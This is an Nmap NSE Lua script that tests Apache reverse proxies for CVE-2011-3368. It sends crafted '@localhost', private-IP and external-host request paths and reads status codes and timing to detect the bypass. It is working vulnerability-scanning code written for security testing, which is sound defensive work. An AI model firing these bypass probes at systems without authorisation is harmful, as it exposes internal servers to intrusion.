local http = require "http"
local os = require "os"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"

local openssl = stdnse.silent_require "openssl"

description = [[
Tests for the CVE-2011-3368 (Reverse Proxy Bypass) vulnerability in Apache HTTP server's reverse proxy mode.
The script will run 3 tests:
* the loopback test, with 3 payloads to handle different rewrite rules
* the internal hosts test. According to Contextis, we expect a delay before a server error.
* The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.

References:
* http://www.contextis.com/research/blog/reverseproxybypass/
]]

---
-- @usage
-- nmap --script http-vuln-cve2011-3368 <targets>
--
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | http-vuln-cve2011-3368:
-- |   VULNERABLE:
-- |   Apache mod_proxy Reverse Proxy Security Bypass
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2011-3368  OSVDB:76079
-- |     Description:
-- |       An exposure was reported affecting the use of Apache HTTP Server in
-- |       reverse proxy mode. The exposure could inadvertently expose internal
-- |       servers to remote users who send carefully crafted requests.
-- |     Disclosure date: 2011-10-05
-- |     Extra information:
-- |       Proxy allows requests to external websites
-- |     References:
-- |       http://osvdb.org/76079
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
--
-- @args http-vuln-cve2011-3368.prefix sets the path prefix (directory) to check for the vulnerability.
--

author = {"Ange Gutek", "Patrik Karlsson"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}



portrule = shortport.http

action = function(host, port)

  local vuln = {
    title = 'Apache mod_proxy Reverse Proxy Security Bypass',
    IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
    description = [[
An exposure was reported affecting the use of Apache HTTP Server in
reverse proxy mode. The exposure could inadvertently expose internal
servers to remote users who send carefully crafted requests.]],
    references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
    dates = {
      disclosure = { year='2011', month='10', day='05'}
    },
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)
  local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""

  -- Take a reference chrono for a 404
  local start = os.time(os.date('*t'))
  local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
  local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
  local chrono_404 = os.time(os.date('*t'))-start

  -- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
  local all
  all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
  all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
  all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)

  local bypass_request = http.pipeline_go(host,port, all)
  if ( not(bypass_request) ) then
    stdnse.debug1("got no answers from pipelined queries")
    return stdnse.format_output(false, "Got no answers from pipelined queries")
  end


  -- going through the results of TEST 1 we could see
  -- * 200 OK
  --    o This could be the result of the server being vulnerable
  --    o This could also be the result of a generic error page
  -- * 40X Error
  --    o This is most likely the result of the server NOT being vulnerable
  --
  -- We can not determine whether the server is vulnerable or not solely
  -- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
  local got_200_ok
  for _, response in ipairs(bypass_request) do
    if ( response.status == 200 ) then
      got_200_ok = true
    end
  end

  -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
  if ( not(got_200_ok) ) then
    vuln.state = vulns.STATE.NOT_VULN
    return report:make_output(vuln)
  end

  for i=1, #bypass_request, 1 do
    stdnse.debug1("test %d returned a %d",i,bypass_request[i].status)

    -- here a 400 should be the evidence for a patched server.
    if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN )  then

      -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
      -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
      local tests = {
        { prefix = "", suffix = "" },
        { prefix = ":", suffix = ""},
        { prefix = ":", suffix = ":80"}
      }

      -- try a bunch of hosts, and hope we hit one that's
      -- not on the network, this will give us the delay we're expecting
      local hosts = {
        "10.10.10.10",
        "192.168.211.211",
        "172.16.16.16"
      }

      -- perform one request for each host, and stop once we
      -- receive a timeout for one of them
      for _, h in ipairs(hosts) do
        local response = http.get(
        host,
        port,
        ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
        { timeout = ( chrono_404 + 5 ) * 1000 }
        )
        -- check if the GET timed out
        if ( not(response.status) ) then
          vuln.state = vulns.STATE.VULN
          break
        end
      end
    end
  end

  -- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
  local external = http.get(host,port, ("%s@scanme.nmap.org"):format(prefix))
  if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
    vuln.extra_info = "Proxy allows requests to external websites"
  end
  return report:make_output(vuln)
end

